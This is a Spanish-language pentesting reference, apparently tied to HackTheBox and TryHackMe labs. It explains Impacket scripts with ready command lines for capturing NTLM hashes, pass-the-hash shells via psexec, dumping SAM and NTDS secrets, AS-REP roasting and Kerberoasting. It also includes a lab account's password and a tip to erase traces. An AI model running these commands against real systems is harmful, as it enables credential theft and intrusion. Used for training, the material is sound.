Suite Impacket
Last updated
Last updated
Impacket es una suite de herramientas para la manipulación de protocolos de red en entornos Windows. A continuación se muestran algunos de los scripts más utilizados:
Ver máquina:
su función es levantar un servidor SMB falso en la máquina del atacante.
Funciones clave de impacket-smbserver
:
✔ Permite que una víctima acceda a archivos compartidos por el atacante.
✔ Puede usarse en ataques LFI/RFI para capturar autenticaciones NTLM.
✔ Soporta SMBv1 y SMBv2 para compatibilidad con versiones antiguas de Windows.
Ejemplo de uso:
Levantar un servidor SMB en /tmp/share/
con acceso anónimo:
impacket-smbserver -smb2support share /tmp/share/
Si la víctima ejecuta algo como:
dir \\10.10.14.25\share
Windows intentará autenticarse y el atacante puede capturar credenciales NTLM.
Ver máquina:
mssqlclient.py
de ImpacketEl script mssqlclient.py
de la suite Impacket permite conectarse a un servidor Microsoft SQL Server utilizando credenciales válidas y ejecutar comandos SQL de manera interactiva. También es útil para pruebas de penetración, ya que permite realizar consultas, ejecutar comandos en el sistema operativo (si el usuario tiene permisos sysadmin
), y obtener información sensible de la base de datos.
Autenticación en SQL Server:
Soporta autenticación SQL Server (-windows-auth
para NTLM) y autenticación integrada de Windows.
Ejecución de consultas SQL:
Permite interactuar con la base de datos usando comandos SQL estándar.
Ejecución de comandos en el sistema (xp_cmdshell
):
Si el usuario tiene permisos sysadmin
, puede habilitar xp_cmdshell
y ejecutar comandos en el sistema operativo subyacente.
Dump de hashes:
Puede extraer hashes de contraseñas si el usuario tiene suficientes privilegios.
Movilidad lateral:
Si obtiene credenciales válidas, permite moverse a otros sistemas en la red.
┌──(root㉿kali)-[/home/kali]
└─# python3 mssqlclient.py usuario@IP -windows-auth
Esto intentará autenticarse en SQL Server en la IP especificada usando NTLM (autenticación de Windows).
Ver máquina , (HTB), (HTB)
psexec.py
se usa principalmente en entornos de pentesting o administración remota para:
Ejecutar comandos remotamente en sistemas Windows.
Obtener una shell (cmd) interactiva en la máquina remota.
Transferir archivos, crear servicios temporales, y escalar privilegios (en algunos casos).
Automatizar tareas administrativas en redes donde se tiene acceso a cuentas con privilegios.
Utiliza el protocolo SMB junto con el servicio de administración de servicios de Windows (Service Control Manager) para crear un servicio temporal que ejecuta los comandos deseados.
Sintaxis básica:
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# python3 psexec.py administrator@10.129.95.187
Usando hashes NTLM:
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# python3 psexec.py administrator@10.129.95.187 -hashes <LMHASH>:<NTHASH>
Si quieres aprender más sobre este complemento de Impacket te recomiendo el siguiente artículo:
Sirve para extraer secretos (hashes de contraseñas, credenciales, secretos de Kerberos) desde sistemas Windows.
Puede trabajar localmente (si tenés acceso a los archivos del sistema) o remotamente (si tenés credenciales válidas o exploits sobre el sistema).
¿Qué tipo de información puede extraer secretsdump
?
Hashes de contraseñas: Hashes LM y NTLM de todas las cuentas locales (SAM).
Secrets de LSA (Local Security Authority): Claves y secretos usados para el Single Sign-On, incluidas contraseñas en texto claro de servicios.
Ticket de Kerberos (TGT): Tickets de acceso del usuario al sistema.
Hashes de Administradores de Dominio: Si corres en un controlador de dominio, extrae las contraseñas de todos los usuarios del dominio (típicamente de NTDS.dit
).
Contraseñas de servicios: Si un servicio en Windows guarda su contraseña, también puede ser extraída.
secretsdump
?No necesita ejecutar nada en el objetivo (dump por red).
No deja rastros importantes si solo haces lectura de SAM o NTDS.
Puede romper la seguridad de una red Windows completa si extrae hashes de administradores.
Permite realizar Pass-the-Hash o Golden Ticket Attacks después de obtener los secretos.
Ver maquinas: (HTB), (HTB), (HTB), (HTB)
reg.py
permite interactuar remotamente con el registro de Windows a través de la red, usando el protocolo SMB/RPC. Puedes hacer tareas como:
Leer y escribir claves del registro.
Exportar hives completos del registro remoto (backup
).
Enumerar subclaves y valores.
Ver maquinas: (HTB)
Uso típico:
reg.py <usuario>:<password>@<IP> backup -o <ruta de salida en el sistema remoto
reg.py 'cicada.htb/emily.oscars:Q!3@Lp#M6b*7t*Vt'@10.10.11.35 backup -o 'C:\windows\temp\'
Autenticación:
Se conecta a la máquina 10.10.11.35
como cicada.htb\emily.oscars
usando la contraseña proporcionada.
Modo backup
:
Exporta remotamente los hives más importantes del registro (SAM
, SYSTEM
, SECURITY
, SOFTWARE
) usando la API RPC.
Salida:
Guarda los archivos hive en C:\windows\temp\
dentro de la máquina víctima (¡no en tu Kali! por eso luego hay que descargarlos desde una sesión en EvilWinRM).
Porque si el usuario tiene privilegios como SeBackupPrivilege
, puede leer incluso archivos protegidos (como los hives del registro), lo que lo convierte en una escalada lateral o vertical excelente.
Después de usar reg.py
, borra los archivos de C:\windows\temp\
para no dejar rastro.
Este script hace parte de la suite Impacket, creada por SecureAuth, y está diseñado específicamente para automatizar el ataque ASREPRoasting.
Funcionalidades clave:
Envía peticiones AS-REQ sin autenticación previa (pre-auth) para cada usuario en una lista de usuarios que le pases.
Recibe respuestas AS-REP cifradas solo si el usuario tiene "Do not require Kerberos preauthentication" activado.
Extrae el hash cifrado que puede ser crackeado offline.
Guarda los resultados en un archivo en formato compatible con herramientas de cracking (john
o hashcat
).
Kerberos es un protocolo de autenticación que normalmente requiere preautenticación: el usuario debe enviar una marca de tiempo firmada con su contraseña antes de recibir un TGT (Ticket Granting Ticket).
Pero si un usuario tiene desactivada la preautenticación, el KDC (Key Distribution Center) le enviará directamente el TGT sin verificar primero su identidad.
Esto expone un hash cifrado con la contraseña del usuario → que podemos crackear offline.
¿Cómo se explota con GetNPUsers.py
?
Envía una solicitud AS-REQ para obtener un TGT sin preautenticación, usando solo el nombre de usuario.
Si el usuario tiene preauth desactivado, el KDC responde con un AS-REP, que contiene datos cifrados con la clave del usuario.
GetNPUsers.py
extrae el hash de esa respuesta y lo formatea para cracking.
El hash se guarda en un archivo (hashes.txt
), y se puede usar con Hashcat o John the Ripper.
El script lookupsid.py
de la suite Impacket sirve para realizar enumeración de usuarios y grupos en entornos Windows/Active Directory, aprovechando el servicio LSARPC (Local Security Authority Remote Procedure Call).
lookupsid.py
?lookupsid
se conecta a una máquina Windows (como un Domain Controller) y brute-forcea secuencialmente los RID (Relative Identifiers) sobre un SID base del dominio para descubrir nombres de cuentas asociadas (usuarios, grupos, etc.).
Básicamente:
Descubre el SID base del dominio (por ejemplo: S-1-5-21-123456789-111111111-222222222
).
Concatena RIDs comunes o secuenciales al SID base, como 500
, 501
, 1000
, 1100
, etc.
Usa el servicio LSARPC para pedir al sistema el nombre asociado a cada SID completo.
Imprime resultados como:
500: SUPPORT\Administrator (SidTypeUser)
512: SUPPORT\Domain Admins (SidTypeGroup)
1105: SUPPORT\support (SidTypeUser)
Permite enumerar usuarios sin necesidad de credenciales válidas (si la política de seguridad lo permite).
Funciona incluso con usuarios de bajo privilegio, como guest
.
Revela posibles objetivos para ataques de fuerza bruta, Kerberos, AS-REP Roasting, etc.
Ayuda a identificar el dominio y su estructura básica sin interacción invasiva.
impacket-lookupsid -no-pass 'DOMAIN/guest@IP' -target-ip IP
También podés usarlo con contraseñas o hashes:
impacket-lookupsid DOMAIN/user:password@IP
Es un script que permite enumerar cuentas de servicio con SPN (Service Principal Names) en un dominio de Active Directory y, si se indica el flag -request
, permite obtener un TGS (Ticket Granting Service) para cada cuenta. Esto se utiliza principalmente en ataques como Kerberoasting, donde el objetivo es crackear la contraseña asociada a la cuenta de servicio.
Parámetro | Descripción
dominio/usuario[:contraseña] | Credenciales para autenticarse en el dominio
-hashes LM:NT | Autenticación con hash NTLM en lugar de contraseña.
-dc-ip <IP> | Dirección IP del Domain Controller.
-request | Solicita los tickets TGS de los servicios encontrados.
-outputfile nombre.txt | Guarda los hashes en un archivo específico.
-outputformat hashcat/john | Formato de salida del hash (por defecto: John the Ripper).
Ejemplos prácticos
1. Enumerar cuentas con SPN (sin solicitar tickets)
impacket-GetUserSPNs controller.local/user1:Password1 -dc-ip 10.10.52.78
Lista las cuentas que tienen SPNs registrados en el dominio. No genera hashes aún.
2. Ataque Kerberoasting (solicitar tickets y generar hashes)
impacket-GetUserSPNs controller.local/user1:Password1 -dc-ip 10.10.52.78 -request
Obtiene los TGS cifrados con el hash de las cuentas de servicio. Sirven para crackear la contraseña offline.
3. Con hash NTLM en lugar de contraseña
impacket-GetUserSPNs controller.local/user1 -hashes :aad3b435b51404eeaad3b435b51404ee -dc-ip 10.10.52.78 -request
Útil si ya obtuviste el hash NTLM del usuario, por ejemplo mediante Responder
, mimikatz
o secretsdump
.
4. Guardar los hashes para crackear con Hashcat
impacket-GetUserSPNs controller.local/user1:Password1 -dc-ip 10.10.52.78 -request -outputfile kerberoastado.txt -outputformat hashcat
Te genera un archivo con los hashes en formato listo para hashcat -m 13100
.
Ver maquinas: (HTB), (HTB)
Ver máquina (HTB)
Ver módulo (THM)